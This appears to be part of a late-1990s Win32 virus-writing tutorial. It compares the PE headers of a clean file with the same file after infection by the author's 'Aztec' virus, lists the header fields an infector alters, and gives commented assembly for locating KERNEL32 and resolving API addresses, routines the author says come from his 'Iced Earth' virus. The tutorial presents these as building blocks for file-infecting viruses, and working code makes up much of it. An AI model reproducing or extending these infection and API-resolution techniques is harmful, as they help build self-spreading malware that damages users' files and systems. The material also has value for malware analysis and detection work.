           ■ File Size  - 2000H     (08192d)
           ■ File Time  - 17:19:46   (hh:mm:ss)
           ■ File Date  - 11/06/1999 (dd/mm/yy)
           ■ Attributes : Archive

[...]

───────┤ PE Header ├─────────────────────────────────────────────────────────


╓───────┬───────╖
║ O_DOS │ O_PE  ║ (Offset from Dos Header / PE Header
╟───────┼───────╢
║ 0100H │ 0000H ║  PE Header Signature - PE/0/0
║ 0104H │ 0004H ║  The machine for this EXE is Intel 386 (value = 014CH)
║ 0106H │ 0006H ║  Number of sections in the file - 0004H
║ 0108H │ 0008H ║  File was linked at : 23/03/2049
║ 010CH │ 000CH ║  Pointer to Symbol Table : 00000000H
║ 0110H │ 0010H ║  Number of Symbols : 00000000H
║ 0114H │ 0014H ║  Size of the Optional Header : 00E0H
║       │       ║
║ 0116H │ 0016H ║  File Characteristics - 818EH :
║       │       ║  · File is executable
║       │       ║  · Line numbers stripped from file
║       │       ║  · Local symbols stripped from file
║       │       ║  · Bytes of machine word are reversed
║       │       ║  · 32 bit word machine
║       │       ║  · Bytes of machine word are reversed
╙───────┴───────╜
```

```
───────┤ PE Optional Header ├──────────────────────────────────────────────────

╓───────┬───────╖
║ O_DOS │ O_PE  ║ (Offset from Dos Header / PE Header
╟───────┼───────╢
║ 0118H │ 0018H ║  Magic Value               : 010BH (`!`)
║ 011AH │ 001AH ║  Major Linker Version       : 2
║ 011BH │ 001BH ║  Minor Linker Version       : 25
║       │       ║  Linker Version            : 2.25
║ 011CH │ 001CH ║  Size of Code              : 00001200H
║ 0120H │ 0020H ║  Size of Initialized Data   : 00000600H
║ 0124H │ 0024H ║  Size of Uninitialized Data : 00000000H
║ 0128H │ 0028H ║  Address of Entry Point     : 00001000H
║ 012CH │ 002CH ║  Base of Code (.text ofs.)  : 00001000H
║ 0130H │ 0030H ║  Base of Data (.bss ofs.)   : 00003000H
║ 0134H │ 0034H ║  Image Base                : 00400000H
║ 0138H │ 0038H ║  Section Alignment          : 00001000H
║ 013CH │ 003CH ║  File Alignment            : 00000200H
║ 0140H │ 0040H ║  Major Operating System Version : 1
║ 0142H │ 0042H ║  Minor Operating System Version : 0
║ 0144H │ 0044H ║  Major Image Version        : 0
║ 0146H │ 0046H ║  Minor Image Version        : 0
║ 0148H │ 0048H ║  Major SubSystem Version    : 3
║ 014AH │ 004AH ║  Minor SubSystem Version    : 10
║ 014CH │ 004CH ║  Reserved Long             : 00000000H
║ 0150H │ 0050H ║  Size of Image             : 00006000H
║ 0154H │ 0054H ║  Size of Headers           : 00000400H
║ 0158H │ 0058H ║  File Checksum             : 00000000H
║ 015CH │ 005CH ║  SubSystem                 : 2
║       │       ║     · Image runs in the Windows GUI subsystem
║ 015EH │ 005EH ║  DLL Characteristics        : 0000H
║ 0160H │ 0060H ║  Size of Stack Reserve      : 00100000H
║ 0164H │ 0064H ║  Size of Stack Commit       : 00002000H
║ 0168H │ 0068H ║  Size of Heap Reserve       : 00100000H
║ 016CH │ 006CH ║  Size of Heap Commit        : 00001000H
║ 0170H │ 0070H ║  Loader Flags              : 00000000H
║ 0174H │ 0074H ║  Number Directories         : 00000010H

[...]

──────┤ PE Section Headers ├─────────────────────────────────────────────────
```

```
╓────────┬────────╖
║ O_DOS  │ O_PE   ║ (Offset from Dos Header / PE Header
╟────────┼────────╢ [...]
║ 0270H  │ 0170H  ║ Section name          : .reloc
║ 0278H  │ 0178H  ║ Physical Address       : 00001000H
║ 027CH  │ 017CH  ║ Virtual Address        : 00005000H
║ 0280H  │ 0180H  ║ Size of RAW data       : 00000200H
║ 0284H  │ 0184H  ║ Pointer to RAW data     : 00001C00H
║ 0288H  │ 0188H  ║ Pointer to relocations  : 00000000H
║ 028CH  │ 018CH  ║ Pointer to line numbers : 00000000H
║ 0290H  │ 0190H  ║ Number of Relocations   : 0000H
║ 0292H  │ 0192H  ║ Number of line numbers  : 0000H
║ 0294H  │ 0194H  ║ Characteristics        : 50000040H
║        │        ║  · Section contains initialized data.
║        │        ║  · Section is shareable.
║        │        ║  · Section is readable.
║        │        ║
╙────────┴────────╜
-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·
```

That was a normal file, without being infected. Below comes exactly the same file, but infected by my Aztec (the Ring-3 example virus, see below).

```
-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

──────┤ DOS INFORMATION ├──────────────────────────────────────────────

Analyzed File: GOAT002.EXE

DOS Reports:
          ■ File Size  - 2600H     (09728d)
          ■ File Time  - 23:20:58   (hh:mm:ss)
          ■ File Date  - 22/06/1999 (dd/mm/yy)
          ■ Attributes : Archive

[...]

──────┤ PE Header ├────────────────────────────────────────────────────

╓────────┬────────╖
║ O_DOS  │ O_PE   ║ (Offset from Dos Header / PE Header
╟────────┼────────╢
║ 0100H  │ 0000H  ║ PE Header Signature - PE/0/0
║ 0104H  │ 0004H  ║ The machine for this EXE is Intel 386 (value = 014CH)
```

```
‖ 0106H | 0006H ‖  Number of sections in the file - 0004H
‖ 0108H | 0008H ‖  File was linked at : 23/03/2049
‖ 010CH | 000CH ‖  Pointer to Symbol Table : 00000000H
‖ 0110H | 0010H ‖  Number of Symbols : 00000000H
‖ 0114H | 0014H ‖  Size of the Optional Header : 00E0H
‖       |       ‖
‖ 0116H | 0016H ‖  File Characteristics - 818EH :
‖       |       ‖   · File is executable
‖       |       ‖   · Line numbers stripped from file
‖       |       ‖   · Local symbols stripped from file
‖       |       ‖   · Bytes of machine word are reversed
‖       |       ‖   · 32 bit word machine
‖       |       ‖   · Bytes of machine word are reversed
╙───────┴───────╜


──────┤ PE Optional Header ├─────────────────────────────────────────────────


╓───────┬───────╖
‖ O_DOS | O_PE  ‖  (Offset from Dos Header / PE Header
╟───────┼───────╢
‖ 0118H | 0018H ‖  Magic Value              : 010BH (`!`)
‖ 011AH | 001AH ‖  Major Linker Version      : 2
‖ 011BH | 001BH ‖  Minor Linker Version      : 25
‖        |      ‖  Linker Version           : 2.25
‖ 011CH | 001CH ‖  Size of Code             : 00001200H
‖ 0120H | 0020H ‖  Size of Initialized Data   : 00000600H
‖ 0124H | 0024H ‖  Size of Uninitialized Data : 00000000H
‖ 0128H | 0028H ‖  Address of Entry Point     : 00005200H
‖ 012CH | 002CH ‖  Base of Code (.text ofs.)  : 00001000H
‖ 0130H | 0030H ‖  Base of Data (.bss ofs.)   : 00003000H
‖ 0134H | 0034H ‖  Image Base               : 00400000H
‖ 0138H | 0038H ‖  Section Alignment         : 00001000H
‖ 013CH | 003CH ‖  File Alignment           : 00000200H
‖ 0140H | 0040H ‖  Major Operating System Version : 1
‖ 0142H | 0042H ‖  Minor Operating System Version : 0
‖ 0144H | 0044H ‖  Major Image Version       : 0
‖ 0146H | 0046H ‖  Minor Image Version       : 0
‖ 0148H | 0048H ‖  Major SubSystem Version    : 3
‖ 014AH | 004AH ‖  Minor SubSystem Version    : 10
‖ 014CH | 004CH ‖  Reserved Long            : 43545A41H
‖ 0150H | 0050H ‖  Size of Image            : 00006600H
‖ 0154H | 0054H ‖  Size of Headers           : 00000400H
‖ 0158H | 0058H ‖  File Checksum            : 00000000H
```

```
║ 015CH │ 005CH ║  SubSystem                : 2
║        │        ║      · Image runs in the Windows GUI subsystem
║ 015EH │ 005EH ║  DLL Characteristics       : 0000H
║ 0160H │ 0060H ║  Size of Stack Reserve     : 00100000H
║ 0164H │ 0064H ║  Size of Stack Commit      : 00002000H
║ 0168H │ 0068H ║  Size of Heap Reserve      : 00100000H
║ 016CH │ 006CH ║  Size of Heap Commit       : 00001000H
║ 0170H │ 0070H ║  Loader Flags             : 00000000H
║ 0174H │ 0074H ║  Number Directories        : 00000010H
╙────────┴────────╜

[...]

──────┤ PE Section Headers ├──────────────────────────────────────────────────

╓────────┬────────╖
║ O_DOS │ O_PE   ║  (Offset from Dos Header / PE Header
╟────────┼────────╢ [...]
║ 0270H │ 0170H ║  Section name           : .reloc
║ 0278H │ 0178H ║  Physical Address       : 00001600H
║ 027CH │ 017CH ║  Virtual Address        : 00005000H
║ 0280H │ 0180H ║  Size of RAW data       : 00001600H
║ 0284H │ 0184H ║  Pointer to RAW data     : 00001C00H
║ 0288H │ 0188H ║  Pointer to relocations  : 00000000H
║ 028CH │ 018CH ║  Pointer to line numbers : 00000000H
║ 0290H │ 0190H ║  Number of Relocations   : 0000H
║ 0292H │ 0192H ║  Number of line numbers  : 0000H
║ 0294H │ 0194H ║  Characteristics        : F0000060H
║        │        ║  · Section contains code.
║        │        ║  · Section contains initialized data.
║        │        ║  · Section is shareable.
║        │        ║  · Section is executable.
║        │        ║  · Section is readable.
║        │        ║  · Section is writeable.
║        │        ║
╙────────┴────────╜
-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-
```

Well, i hope this have helped you a little more to understand what we do when infecting the PE file by increasing its last section. For avoid your work of compare each one of this tables, i made this little list for you:

```
╓─────────────────────────┬───────────┬───────────┬──────────────────╖
║   Values to change       │ Before     │ After      │ Location          ║
```

Address Of Entrypoint	00001000h	00005200h	Image File Hdr
Reserved1 (inf. mark)	00000000h	43545A41h	Image File Hdr
Virtual Size	00001000h	00001600h	Section header
Size Of Raw Data	00000200h	00001600h	Section header
Characteristics	50000040h	F0000060h	Section header

The code for this is very simple. For those who don't understand a shit with out having code, can take a look to Win32.Aztec, fully described in the next chapter.

Ring-3, coding in the user level

Well, it's right that the user level gives to all us many repressive and fascists limitations and restrictions, that violate our beloved freedom, that freedom we felt while coding DOS viruses, but guy, that's life, that's our theath, that's Micro$oft. Btw, is the only way (nowadays) to make a virus full Win32 compatible, and that enviroment is the future, as you must know. First of all, let's see how to get KERNEL32 base address (for Win32 compatibility) in a very simple way:

% A simple way for get KERNEL32 base address %

As you know, when we execute an application, the code is "called" from a part of the code of KERNEL32 (i.e., is like KERNEL makes a CALL to our code) and, if you remember, when a call is made, the return address is in the stack (that is, in the memory address told by ESP). Let's see a practic example of this:

```
;───[ CUT HERE ]─────────────────────────────────────────────────────────

        .586p                           ; Bah... simply for phun.
        .model  flat                    ; Hehehe i love 32 bit stuph ;)
```

```
      .data                          ; Some data (needed by TASM32/TLINK32)

      db     ?

      .code

start:
      mov    eax,[esp]                ; Now EAX would be BFF8XXXXh (if w9X)
                                    ; ie, somewhere inside the API
                                    ; CreateProcess :)
      ret                           ; Return to it ;)
end   start

;──[ CUT HERE ]─────────────────────────────────────────────────────────────
```

Well, simple. We have in EAX a value approximately as BFF8XXXX (XXXX is an unimportant value, it's put as this because it's not required to know it exactly, don't annoy me with silly things like that ones ;). As Win32 platforms ussually round up to a page all, we can search for the beginning of any page, and as the KERNEL32 header is just in the beginning of a page, we can check easily for it. And when we found this PE header i am talking about, we know KERNEL32 base address. Hrmm, as limit we could establish 50h pages. Hehe, don't worry. Some code follows ;)

```
;──[ CUT HERE ]─────────────────────────────────────────────────────────────

      .586p
      .model  flat

extrn  ExitProcess:PROC

      .data

limit  equ    5

      db     0

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
; Unuseful and non-substance data :)                                    ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

      .code

test:
      call    delta
delta:
      pop     ebp
      sub     ebp,offset delta

      mov     esi,[esp]
      and     esi,0FFFF0000h
      call    GetK32

      push    00000000h
      call    ExitProcess

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
; Ehrm, i consider you at least a normal ASM coder, so i consider you know ;
; that the first block of instructions is for get delta offset (well, not  ;
; needed in particular in this example, anyway i like to make this to be   ;
; as the likeness of virus code). Well, the second block is what is inte-  ;
; resting for us. We put in ESI the address from our application is called ;
; that is in the address shown by ESP (if we don't touch the stack after   ;
; program loading, of course). The second instruction, that AND, is for    ;
; get the beginning of the page from our code is being called. We call our ;
; routine, and after that we terminate process ;)                        ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

GetK32:

__1:
      cmp     byte ptr [ebp+K32_Limit],00h
      jz      WeFailed

      cmp     word ptr [esi],"ZM"
      jz      CheckPE

__2:
      sub     esi,10000h
      dec     byte ptr [ebp+K32_Limit]
      jmp     __1

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
; Firstly we check if we passed our limit (of 50  pages). After that we    ;
; check if in the beginning of the page (as it should be) is the MZ sign,  ;
; and if found we go for check for PE header. If not, we substract 10 page ;
; (10000h bytes), we decrease the limit variable, and search again       ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
```

```
 CheckPE:
        mov     edi,[esi+3Ch]
        add     edi,esi
        cmp     dword ptr [edi],"EP"
        jz      WeGotK32
        jmp     __2
 WeFailed:
        mov     esi,0BFF70000h
 WeGotK32:
        xchg    eax,esi
        ret

 K32_Limit     dw     limit

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; We get the value from offset 3Ch from MZ header (handles the address RVA ;
 ; of where begins the PE header), we normalize this value with the address ;
 ; of the page, and if the memory address marked by this offset is the PE   ;
 ; mark, we assume that we found that... and indeed we did!) ;)            ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

end    test
;---[ CUT HERE ]-------------------------------------------------------------
```

A recommendation: i tested it and it didn't gave me any kind of problem in Win98 and WinNT4 with SP3, anyway, as i don't know what could happen everywhere, i recommend you to use SEH in order to avoid possible Page Faults (and their correspondent blue screen). SEH will be explained in a later lesson. Heh, the method used by Lord Julus in his tutes (searching for GetModuleHandleA in the infected file) wasn't very effective to my needs, anyway i will present my own version of that code where i explain how to play with the import. For example, it has usage in per-process resident viruses, with little changes in the routine ;)

% Get those crazy APIs!!! %

The Ring-3 is, as i said in the chapter of introduction, the user level, so we can access only to its limited privileges. I.e. we can't use ports, read or write to determinated memory areas, etc. Micro$oft based their affirmations when developing Win95 (that ones that said moreless "Win32 platformz are uninfectable") in the fact that if they suppress all what viriis used to make, they could defeat us. In their dreams. They thought that we couldn't use their APIs, and moreover, they couldn't imagine that we could jump to Ring-0, but this is another history.

Well, as you said before, we had the API name as extern, so import32.lib gave us the address of the function, and it's assembled properly in the code but we have a problem when writing virus. If we hardcode (name that we give when we use a fixed offset for call an API) the most probably thing that could happen is that that address won't work in the next Win32 version. You have an example in Bizatch. What should we do? Well, we have a function called GetProcAddress, that returns us the offset of where is the API we want. As you are inteligent, you might have noticed that GetProcAddress is an API too, so how the fuck we can use an API for search for APIs if we don't have that API? As all in life, we have many possibilities to do, and i'll name the two ones i think are better:

1. Search for GetProcAddress API in the Exports table.
2. When we infect a file, look in its imported functions for GetProcAddress.

As the easiest way is the first one, guess what i am going to explain now :) Ok, let's begin with theory lessons, and after that, sum coding.

If you take a look to the PE header format, we have in the offset 78h (of PE header, not file) the RVA of the exports table. Ok, we need to take the address of the exports of the kernel. For Windows 95/98, kernel uses to be at offset 0BFF70000h,and in Windows NT the kernel seems to be at 077F00000h. In Win2k we have it at offset 077E00000h.So,first of all we load its address in the register we are going to use as pointer. I strongly recommend ESI, mainly because we can optimize something by using LODSD. Well, we check if in the address we put the first thing we have is the ussual "MZ" word (well, "ZM" when reversed, goddamn intel processor architecture :), because the kernel is a library (.DLL), and libraries have a PE header, and as we saw before, when seeing the PE header, is part of the DOS-compatible stuff. After that comparison, let's check if its PE, so we look to header offset image_base+[3Ch] (=the offset of where the kernel is located+the address shown by KERNEL's PE header 3Ch offset), and compare seeking for "PE\0\0", the PE signature.

If all is right, then let's go for it. We need the RVA of the export table. As you can see, it's in offset 78h of the PE header. So we get it. But, as you know, the RVA (Relative Virtual Address), as its name indicates, is relative to an offset, in this case the image base of the kernel, that is it's location, as i said before. As simple as this: just add the kernel offset to the found value in Export Table RVA. Ok. We are now in the export table :)

Let's see its format:

```
┌─────────────────────────────────────────┐ 1─── +00000000h
│          Export Flags                   │      Size : 1 DWORD
├─────────────────────────────────────────┤ 1─── +00000004h
│        Time/Date stamp                  │      Size : 1 WORD
├─────────────────────────────────────────┤ 1─── +00000006h
│         Major version                   │      Size : 1 WORD
├─────────────────────────────────────────┤ 1─── +00000008h
│         Minor version                   │      Size : 1 DWORD
├─────────────────────────────────────────┤ 1─── +0000000Ch
│           Name RVA                      │      Size : 1 DWORD
├─────────────────────────────────────────┤ 1─── +00000010h
│   Number Of Exported Functions          │      Size : 1 DWORD
├─────────────────────────────────────────┤ 1─── +00000014h
│     Number Of Exported Names            │      Size : 1 DWORD
├─────────────────────────────────────────┤ 1─── +00000018h
│     Export Address Table RVA            │      Size : 1 DWORD
├─────────────────────────────────────────┤ 1─── +0000001Ch
│   Export Name Pointers Table RVA        │      Size : 1 DWORD
├─────────────────────────────────────────┤ 1─── +00000020h
│       Export Ordinals RVA               │      Size : 1 DWORD
└─────────────────────────────────────────┘             __________

                                    Total Size : 24h BYTES
```

The important for us are the last 6 fields. The values on the Address Table RVA, Name Pointers RVA and Ordinals RVA are all relative to KERNEL32's base address, as you can imagine. So, the first step for get an API address is to know the possition that this API occupies, and the easiest way for know it is looking into the Name Pointers' indicated offset, compare the string with the API we want, and if it's exactly equal we try to calculate API's offset. Well, we arrived here and we have a value in the counter, just because we increase it each time we check for API's name. Well, this counter, as you can imagine, will hold the API names we have already seen and they don't match. The counter could be a word or a dword, but never could be a byte, because we have much more APIs than 255 :)

NOTE: I assume you stored in its correspondent variables the VA (RVA+kernel image base) of Address, Name and Ordinal tables.

Ok, imagine we have already get the name of the API we want, so we have in the counter the possition it occupies in the Name Pointers table. Well, now comes maybe the most complicated for you, beginner on Win32 coding. Hmm, let's continue with this. We get the counter, and we have to search now in the Ordinal Table (an array of dwords) the ordinal of the API we want to get. As we have the number that the API occupies in the array (in counter) we only have to multiply it by 2 (remember, the array of Ordinals is made of words, so we must make the calculation for work with words...), and of course, add to it where begins (its beginning offset) the Ordinal Table. For resume what i have just explained, we need the word pointed by the following formula:

API's Ordinal location: (counter * 2) + Ordinal Table VA

Simple, isn't it? Well, the next step (and the last one) is to get API's definitive address from the Address Table. We already have API's ordinal, right? With it, our life is very easy. We have just to multiply the ordinal by 4 (as the addresses array are formed by dwords instead of words, and a dword size is 4) and add to it the offset of beginning of Address Table, that we get earlier. Hehe, now we have the API Address RVA. So we have to normalize it, adding the kernel offset, and that's all. We got it!!!! Let's see the mathematical formula for this:

API's Address: (API's Ordinal * 4) + Address Table VA + KERNEL32 imagebase

EntryPoint	Ordinal	Name
00005090	0001	AddAtomA
00005100	0002	AddAtomW
00025540	0003	AddConsoleAliasA
00025500	0004	AddConsoleAliasW

So, as we retrieve the position that occupies the string in the Names table, we can know its ordinal (each name has an ordinal that is in the same position than the API name), and knowing the ordinal, we can know its Address, that is, its entrypoint RVA. We normalize it, and voila, you have what you need, the required API address.

[...] These tables have more entries, but with that ones is enough...

I hope you understood what i have explained. I tried to say it as simple as i could, if you don't understand it, don't pass this line, and re-read it step by step. Be patient. I'm sure you'll get it. Hmmm, maybe what you need now is some code, for see this in action. Here you have my routines, used, for exaple, in my Iced Earth virus.

```
;──[ CUT HERE ]──────────────────────────────────────────────────
;
```

```
; GetAPI & GetAPIs procedures
;  ─────────────────────────────┘
;
; These are my procedures to find all required APIs... They are divided in 2
; parts. GetAPI procedure gets only the API we tell to it, and GetAPIs proce-
; dure is which searches all APIs needed by the virus.
;

 GetAPI         proc

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Ok, let's rock. The parameters that this function needs and returns are  ;
 ; the following:                                                  ;
 ;                                                              ;
 ; INPUT  0 ESI : Pointer to the API name (case sensitive)                 ;
 ; OUTPUT 0 EAX : API address                                         ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

      mov    edx,esi                      ; Save ptr to name
@_1:   cmp    byte ptr [esi],0              ; Null-terminated char?
      jz     @_2                         ; Yeah, we got it.
      inc    esi                         ; Nopes, continue searching
      jmp    @_1                         ; bloooopz...
@_2:   inc    esi                         ; heh, don't forget this ;)
      sub    esi,edx                      ; ESI = API Name size
      mov    ecx,esi                      ; ECX = ESI :)

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Well, well, my dear pupils. This is very easy to understand. We had in   ;
 ; ESI the pointer to the beginning of API's name. Let's imagine we are     ;
 ; looking for "FindFirstFileA":                                       ;
 ;                                                              ;
 ; FFFA        db   "FindFirstFileA",0                                ;
 ;                 └─ Pointer is there                              ;
 ;                                                              ;
 ; And we need to preserve this pointer, and know API's name size, so we    ;
 ; preserve the initial pointer to API name in a register such as EDX that  ;
 ; we won't use. And then it increases the pointer in ESI until [ESI] = 0.  ;
 ;                                                              ;
 ; FFFA        db   "FindFirstFileA",0                                ;
 ;                              └─ Pointer is here now             ;
 ;                                                              ;
 ; That is, null terminated :) Then, by substracting the old pointer to the ;
 ; new pointer, we get the API Name size, needed by the search engine. And  ;
 ; then i store it in ECX, another register that won't be used for another  ;
 ; matter.                                                             ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

       xor    eax,eax                      ; EAX = 0
       mov    word ptr [ebp+Counter],ax      ; Counter set to 0

       mov    esi,[ebp+kernel]              ; Get kernel's PE head. offset
       add    esi,3Ch
       lodsw                              ; in AX
       add    eax,[ebp+kernel]              ; Normalize it

       mov    esi,[eax+78h]                ; Get Export Table RVA
       add    esi,[ebp+kernel]              ; Ptr to Address Table RVA
       add    esi,1Ch

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
 ; Well, firstly we clear EAX, and then make the counter variable to be 0,  ;
 ; for avoid unexpected errors. If you remember what did the offset 3Ch of  ;
 ; a PE file (counting from image base, MZ mark), you'll undestand this. We ;
 ; are requesting for the beginning of KERNEL32 PE header offset. Well, as  ;
 ; it is an RVA, we normalize it and voila, we have it's PE header offset.  ;
 ; What we do now is to get the Export Table address (in PE Header+78h),    ;
 ; and after that we avoid the not wanted data of the structure, and get    ;
 ; directly the Address Table RVA.                                      ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

       lodsd                              ; EAX = Address Table RVA
       add    eax,[ebp+kernel]              ; Normalize
       mov    dword ptr [ebp+AddressTableVA],eax ; Store it in VA form

       lodsd                              ; EAX = Name Ptrz Table RVA
       add    eax,[ebp+kernel]              ; Normalize
       push   eax                          ; mov [ebp+NameTableVA],eax

       lodsd                              ; EAX = Ordinal Table RVA
       add    eax,[ebp+kernel]              ; Normalize
       mov    dword ptr [ebp+OrdinalTableVA],eax ; Store in VA form

       pop    esi                          ; ESI = Name Ptrz Table VA

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
 ; If you remember, we had in ESI the pointer to Address Table RVA, so we,  ;
 ; for get that address, make a LODSD, that puts the DWORD located by ESI   ;
 ; in accumulator, that is EAX. As it was a RVA, we need to normalize it.   ;
 ;                                                                  ;
 ; Let's see what Matt Pietrek says about this first field:              ;
 ;                                                                  ;
 ; "This field is an RVA and points to an array of function addresses. The  ;
 ; function addresses are the entry points (RVA) for each exported function ;
 ; in this module".                                                   ;
 ;                                                                  ;
 ; And of course, we store it in its variable. After that, the next we re-  ;
 ; trieve is the Name Pointers Table, Matt Pietrek description follows:     ;
 ;                                                                  ;
 ; "This field is an RVA and points to an array of string pointers. The     ;
 ; strings are the names of the exported functions in this module".        ;
 ;                                                                  ;
 ; But i didn't store it in a variable, i pushed it, just because i'm gonna ;
 ; use it very soon. Well, and finally we retrieve
 ; and here goes Matt Pietrek's description about it:                     ;
 ;                                                                  ;
 ; "This field is an RVA and points to an array of WORDs. The WORDs are the ;
 ; export ordinals of all the exported functions in this module".          ;
 ;                                                                  ;
 ; Well, that's what we done.                                           ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

 @_3:  push   esi                      ; Save ESI for l8r restore
       lodsd                          ; Get value ptr ESI in EAX
       add    eax,[ebp+kernel]          ; Normalize
       mov    esi,eax                  ; ESI = VA of API name
       mov    edi,edx                  ; EDI = ptr to wanted API
       push   ecx                      ; ECX = API size
       cld                            ; Clear direction flag
       rep    cmpsb                    ; Compare both API names
       pop    ecx                      ; Restore ECX
       jz     @_4                      ; Jump if APIs are 100% equal
       pop    esi                      ; Restore ESI
       add    esi,4                    ; And get next value of array
       inc    word ptr [ebp+Counter]     ; Increase counter
       jmp    @_3                      ; Loop again

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
 ; Heh, ain't my style to put too much code without comment, as i have just ;
 ; done, but understand that this block of code can't be separated for ex-  ;
 ; plain it. What we do firstly is to push ESI (that gets changed inside    ;
 ; the code by CMPSB instruction) for later restore. After that, we get the ;
 ; DWORD pointed by ESI (Name Pointerz Table) in the accumulator (EAX), all ;
 ; this performed by the LODSD intruction. We normalize it by adding kernel ;
 ; base address. Well, now we have in EAX a pointer to a name of one API,   ;
 ; but we don't know (still) what API is. For example, EAX could point to   ;
 ; something like "CreateProcessA" and this API is uninteresting for our    ;
 ; virus... Well, for compare that string with the one we want (pointed now ;
 ; by EDX) we have CMPSB. So we prepare its parameters: in ESI we put the   ;
 ; pointer to the beginning to the API now in the Name Pointerz Table, and  ;
 ; in EDI we put the pointer to the desired API). In ECX we put its size,   ;
 ; and then we compare byte per byte. If all the string is equal, the zero  ;
 ; flag is set, and we jump to the routine for get the address of that API, ;
 ; but if it failed, we restore ESI, and add to it the size of a DWORD in   ;
 ; order to get the next value in the Name Pointerz Table array. We incre-  ;
 ; ase the counter (VERY IMPORTANT) and we continue searching.             ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 @_4:   pop    esi                           ; Avoid shit in stack
       movzx  eax,word ptr [ebp+Counter]     ; Get in AX the counter
       shl    eax,1                         ; EAX = AX * 2
       add    eax,dword ptr [ebp+OrdinalTableVA] ; Normalize
       xor    esi,esi                       ; Clear ESI
       xchg   eax,esi                       ; EAX = 0, ESI = ptr to Ord
       lodsw                               ; Get Ordinal in AX
       shl    eax,2                         ; EAX = AX * 4
       add    eax,dword ptr [ebp+AddressTableVA] ; Normalize
       mov    esi,eax                       ; ESI = ptr to Address RVA
       lodsd                               ; EAX = Address RVA
       add    eax,[ebp+kernel]                ; Normalize and all is done.
       ret

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Pfff, another huge code block, and seems ununderstandable, right? Heh,   ;
 ; don't worry, i'm going to comment it ;)                                 ;
 ; Ehrm, the pop is simply for clear the stack, as if the API names matched ;
 ; we have shit in it. We move in the lower part of EAX the value of the    ;
 ; counter (as it it a WORD) and make zero the high part of said register.  ;
 ; We multimply it per two, as we only have the number it occupies, and the ;
 ; array where we'll search is an array of WORDs. Now we add to it the po-  ;
 ; inter to the beginning of the array where we want to search, and in EAX  ;
 ; we have the pointer to the ordinal of the API we want. So we put EAX in  ;
 ; ESI for use that pointer in order to get the value pointed, that is, the ;
 ; Ordinal in EAX, with a simple LODSW. Heh, we have the Ordinal, but what  ;
 ; we want is the EntryPoint of the code of the API, so we multiply the or- ;
 ; dinal (that holds the position that the EntryPoint of the wanted API     ;
 ; occupies in Address Table) per 4, that is the DWORD size, and we have   ;
 ; a RVA value, relative to the AddressTable RVA, so we normalize, and now ;
 ; we have in EAX the pointer to the value of the EntryPoint of the API in ;
 ; the Address Table. We put EAX in ESI, and we get the value pointed      ;
 ; in EAX. So we have in EAX the EntryPoint RVA of the wanted API. Heh, the ;
 ; thing that we must do now is to normalize that address with KERNEL32's  ;
 ; image base, and voila, it is done, we have the real and original API    ;
 ; address in EAX!!! ;)                                                    ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 GetAPI          endp

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

